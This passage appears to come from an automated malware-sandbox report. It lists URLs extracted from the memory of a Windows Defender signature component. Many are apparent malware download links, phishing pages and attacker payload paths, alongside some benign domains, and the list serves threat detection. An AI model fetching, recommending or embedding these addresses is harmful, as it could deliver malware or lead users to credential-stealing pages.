        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: https://playmesadelsol.com/wp-content/off/rt35.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://plectrum.sebdelaweb.com/mnmn/index.php
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: https://poOsKYsdcast.oigaprofe.com.mx/wp-includes/sodiumOsKYs_comOsKYspat/src/Core32/ChaCha20/KlrIU4
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://podcast.oigaprofe.com.mx/wp-includes/sodium_compat/src/Core32/ChaCha20/KlrIU42g.php
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: https://pomf.pw/files/
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: https://ppam.sslblindado.com/pande.html
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://ppds.anestesi.ulm.ac.id/wp-includes/text/diff/engine/vai/reportdhlnew2.php
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: https://preoccupationology.com/thisshit
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: https://pressionism.xyz/bbc.exe
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: https://pro-fit.pk/exploit.exe
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://producingemotions.es/settlementstatements242019/cgi-bin/office/index.html
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://produsedecalitate.ro/request.php
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://profdocame.co.vu/1/wp-config/storage/web.app.delve/access/draw9901/8269380-attachment-micros
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://property.appskeeper.com/wp-content/plugins/lite-cache/3Rx12s64qbadA.php
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: https://provodi.com/snn/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://prt.phosagro.ru/oa_html/rf.jsp?function_id=16181&resp_id=-1&resp_appl_id=-1&security_group_i
        Source: MpSigStub.exe, 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmpString found in binary or memory: https://ps.ks-voicemail.online/?e=richana.nelson
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: https://ps.outlook.com/powershell-liveid
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: https://ptpb.pw/jj9a
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://pxlme.me/cytyoc4h
        Source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmpString found in binary or memory: https://pypi.python.org/packages/source/
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://queentour.co.id/z/s.dot
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: https://quickbooks.aeymotors.com/soft.dll
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://r0lls-r0yce.com/eft/remit.dotm?raw=true
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: https://rachelzy.com/yyyy/myoriginlogger.exe
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpString found in binary or memory: https://radh.ga/konzo/change.php
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: https://raifeisen.co/invoice/id/305674567
        Source: MpSigStub.exe, 00000023.00000003.18326506118.0000015B1A705000.00000004.00000001.sdmpString found in binary or memory: https://ramashardware.co.za/
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: https://ramblerimport.com/hz4uhlut5au/yu.html
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: https://rapid.cerner.com:8243/clientapi/v1.0/clients/mnemonic/
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: https://raw.githubusercontent
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: https://raw.githubusercontent.com/
        Source: MpSigStub.exe, 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://raw.githubusercontent.com/aybiota/mpbh33775/gh-pages/g9wl5dp.ttf
        Source: MpSigStub.exe, 00000023.00000003.18344475813.0000015B1C1D6000.00000004.00000001.sdmpString found in binary or memory: https://raw.githubusercontent.com/elevenpaths/ibombshell/
        Source: MpSigStub.exe, 00000023.00000003.18299377795.0000015B1AEE3000.00000004.00000001.sdmpString found in binary or memory: https://raw.githubusercontent.com/empireproject/
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: https://raw.githubusercontent.com/sharkush/test1/master/calcush.sct
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: https://raw.githubusercontent.com/wmitoapi/test/master/compiler.zip
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: https://rawcdn.githack.net/up.php?key=5
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: https://rb.gy/kc5b5e
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: https://rb.gy/kc5b5e?#ncota
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: https://rcimshop.com/wp-config-server.php
        Source: MpSigStub.exe, 00000023.00000003.18339366931.0000015B1C174000.00000004.00000001.sdmpString found in binary or memory: https://realmjoin-backend-staging.azurewebsites.net/api/system/check
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://reformationtheology.com/css/reportexcelnew.php
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: https://register.hiramhousecamp.org/miouadthen/po1820.zip
        Source: MpSigStub.exe, 00000023.00000003.18344475813.0000015B1C1D6000.00000004.00000001.sdmpString found in binary or memory: https://relaja.me/qw5hlk1vcmvqb25azglzywdydxbvlmvz
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: https://remote.bittorrent.com
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: https://remoteally.com/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://reneerouleau.us/az/az.doc
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://rewardamericanexpress.blob.core.windows.net/aexp/online.americanexpress.com0smyca
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: https://rezultmedia.com/css/reportdhlnew.php
        Source: MpSigStub.exe, 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmpString found in binary or memory: https://rezultmedia.com/vendor/laravel/tinker/src/reportexcelnew.php
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://rollingrockcolumbia.com/wp-admin/admin-ajax.php
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: https://rootca.allianz.com/aapplet
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://rotf.lol/3u6d9443
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: https://rw.mousewinning.club/?
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: https://s.xcodelib.net/updates/ff/apps/119/10080008.xml
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: https://s.xcodelib.net/updates/ff/apps/119/10080009.xml
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: https://s.xcodelib.net/updates/ff/apps/900/10010045.xml
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: https://s.xcodelib.net/updates/ff/apps/appPrefId/affPrefId.xml
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: https://s1.ax1x.com/2020/04/28/J4Zp9S.png
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: https://s15events.azure-automation.net/webhooks?token=
        Source: MpSigStub.exe, 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmpString found in binary or memory: https://s18.picofile.com/d/8435906618/a27ddc7a-8599-479b-9e19-f2fd4b1988c3/setup.exe
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: https://s3-ap-northeast-1.amazonaws.com/update-secure/asmsgrbarb.zip
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://s3-eu-west-1.amazonaws.com/adkooo/
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: https://s3.amazonaws.com/exec459/exec.tgz
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://s3.us-east-2.amazonaws.com/cotazion.pago/recibo.html
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://sad-goldwasser.62-108-34-75.plesk.page/doc00289?
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: https://scabraldealdun.com/hghgh/aridonorigin.exe
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: https://scalet.publicvm.com/large2/next.php
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: https://scaricapag.win/eco
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: https://screw-malwrhunterteams.com/scanme.txt
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://sddfdfdf.typeform.com/to/vrfwamwx
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: https://secure.hotbar.com/
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18339677269.0000015B1AB04000.00000004.00000001.sdmpString found in binary or memory: https://secure.logmeinrescue.com/
        Source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmpString found in binary or memory: https://secure.tibia.com/account/?subtopic=accountmanagement
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: https://securezalink.com/home.jpg/security.ocx
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: https://semalt.com/popups/popup_wow.php?lang=en
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: https://serv.fkn-srv.xyz/?e=tom.hughes
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://server.voiplogger0365.xyz/?e=csizemore
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: https://seyedishop.ir/rh1/pmt.php
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: https://shaastraarth.in/bbbg/
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: https://shatha.n-idea.us/moo/
        Source: MpSigStub.exe, 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmpString found in binary or memory: https://shop.asopalav.com/ds/0302.gif
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: https://shoplady.xyz/glsdil.php
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: https://shoptimes.ro/admin/clienti/opo.php
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://shreyainfosoft.com/krishnasteelcorporation/next.php
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://shreyainfosoft.com/shayonajwellers/after.php
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: https://signin.ebay
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://simetrika.com/redirect/zg9uywxklmvhdmvzqgfjy2vsbgvudc5jb20=
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://sinavtakvim.icu/zx/ag.doc
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: https://sis.ieadar.com.br-$r)r/Igreja-master/agendaSec/css/Sq4D0WfbvSitsO.php
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://skripon.com/oozoo/document.php
        Source: MpSigStub.exe, 00000023.00000003.18314518681.0000015B1B7A8000.00000004.00000001.sdmpString found in binary or memory: https://smartcheckautos%.com/wp%-content/%.%.%./%.%.%./x3%.php
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://smpn1kunjangkediri.sch.id/wp-content/uploads/upgrabe/
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://soft-gps.com/wp-content/plugins/cvuohucwkp/tre/swt.php
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: https://sotheraho.com/wp-content/fonts/reportexcelnew.php
        Source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmpString found in binary or memory: https://southpolefaxnet.ml/number/brand.php
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://southvomes.sozouths.xyz/?e=
        Source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmpString found in binary or memory: https://specs2go.shawalzahid.com/
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://ssl-proxy.my-addr.org/myaddrproxy.php/http://
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://ssl859.websiteseguro.com/downloadflash/dados/Juliana.jpg
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://ssl859.websiteseguro.com/downloadflash/dados/grdmody.jpg
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://ssl859.websiteseguro.com/downloadflash/dados/msnGRD.jpg
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: https://ssmdevelopers.in/4raxigaptfpm/yu.html
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: https://staging2.lifebiotic.com/novacms/grassandrocks.php
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://staralevator.com/anygas/
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://staralevator.com/anygas/nxt.php
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://static.wixstatic.com/ugd/05e470_b104c366c1f7423293887062c7354db2.doc
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://static.wixstatic.com/ugd/859f79_35181f339d694f87870220aa3da46c30.doc
        Source: MpSigStub.exe, 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmpString found in binary or memory: https://statsdev.com/header.jpg
        Source: MpSigStub.exe, 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmpString found in binary or memory: https://statseast.com/login.jpg
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://statsmag.com/apple/log.php
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: https://statsper.com/footer.jpg
        Source: MpSigStub.exe, 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmpString found in binary or memory: https://statssale.com/header.jpg
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://stepup.pt/sugar6/ww/s.dot
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://stitch-statichosting-prod.s3.amazonaws.com/5ffbf74f106b1ff88367ac90/5ffbf62cd17b985f24b01f73
        Source: MpSigStub.exe, 00000023.00000003.18286537046.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://storage.googleapis.com/
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: https://storage.googleapis.com/gr-bhuj-i7uyrterwr-g6.appspot.com/vbeuryfu.com.us/bv-ury-ey-b
        Source: MpSigStub.exe, 00000023.00000003.18301864575.0000015B1AEA0000.00000004.00000001.sdmpString found in binary or memory: https://storage.googleapis.com/msofficeupdater/MSUpdater.exe
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: https://storyofusstudios.com/n75oh9tzoyhz/lipa.html
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://stretchbuilder.com/chalkzone/next.php
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: https://stretchwrestle.com/ringcentral/wealth.php
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: https://studio.joellemagazine.com/drms/ind.html
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: https://subahj.linkpc.net/sarah2/next.php
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: https://submit-form.com/
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://subwaybookreview.com/vl1/sample.doc
        Source: MpSigStub.exe, 00000023.00000003.18300585182.0000015B1A681000.00000004.00000001.sdmpString found in binary or memory: https://suggestor.pirrit.com/engine/getpopups.php
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: https://sumnermail.org/sumnerscools/school.php
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: https://sundersls.weebly.com
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://sunilmaharjan.com.np/cve/cv.exe
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: https://supplementsizeup.co.uk/aa/ger/login.php
        Source: RegAsm.exe, 00000008.00000002.21910178869.000000001E986000.00000004.00000001.sdmp, RegAsm.exe, 00000008.00000002.21904446163.000000001E4C2000.00000004.00000001.sdmpString found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: https://surustore.com/imageY9a
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: https://sviescfze.com/iaret52086yla/next.php
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://sviescfze.com/ns735tey89dgwmo/next.php
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: https://sweetsizing.com/vip/
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://syr.us/gpn
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: https://t.co/ou2k0nuvi8)
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://t.me/File
        Source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmpString found in binary or memory: https://t.me/IamLev1
        Source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmpString found in binary or memory: https://t.me/IamLev1x
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://tales.pt/webmail-purchase/reportexcel.php
        Source: MpSigStub.exe, 00000023.00000003.18326506118.0000015B1A705000.00000004.00000001.sdmpString found in binary or memory: https://tapro-trgovina.com/slimneweurope/next.php
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: https://tapro-trgovina.com/yalladg/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: https://techportal.cerner.com/api/validateProjectNumber?projectNumber=
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: https://tecnicopconline.com/wp-admin/jekbvhub.php
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpString found in binary or memory: https://tegavu.com
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: https://telegra.ph/
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: https://ternerdrivew.at/3/wwf.dll
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: https://ternerdrivew.at/3/wwf.exe
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://testweb.public360saas.se:443/biz/v2-pbr/docprod/templates/bot_tjansteskrivelse.docx
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://themexoneonline.me/ctkjghgvjtfchgdgdmcmgcxgfxfxfxngcthgcnhtgctgcgcm/hzvzdfbjzbfjbfbb43534wbt
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://themexoneonline.me/timack/rt456475888y8y98yhvhh657467hvkffyufkhmvvhvchcvvmvce7ti7t4irgsejgxr
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://thephotographersworkflow.com/vv/popi.exe
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://thersshy.dynssl.com//
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://thersshy.dynssl.com//post.php
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: https://thewatch-tv.com/guyofficeaprof/post.php
        Source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmpString found in binary or memory: https://thiscannotpossiblywork.local/
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: https://tiagogalindo.com.br/1/ksu/index.html
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://ticket.webstudiotechnology.com/sc/wp-includes/SimplePie/XML/Declaration/ytUsz4l0Qo.php
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: https://timbeck.net/redirect/ywxpbmeuc2vyymfulwjhcmj1qgrpbnvszwdhbc5ybw==
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: https://tinyurl.com/
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://tinyurl.com/bptvnhw6
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://tinyurl.com/j7tx7h8)
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://tinyurl.com/up77pck
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://tinyurl.com/y7rku84vscrobj.dll
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://tinyurl.com/yaozbad7
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: https://tinyurl.com/yarknmzj
        Source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmpString found in binary or memory: https://tinyurl.com/ybsvlbvqscrobj.dll
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: https://tiw0dspxozds.azurewebsites.net/fdoi
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: https://todayutos.info
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: https://tomamate.si/
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: https://toulousa.com/omg/rockspa.php
        Source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmpString found in binary or memory: https://towingnow.ca/LvR2HWHdQ.php
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: https://tph786.com/gym/assets/css/
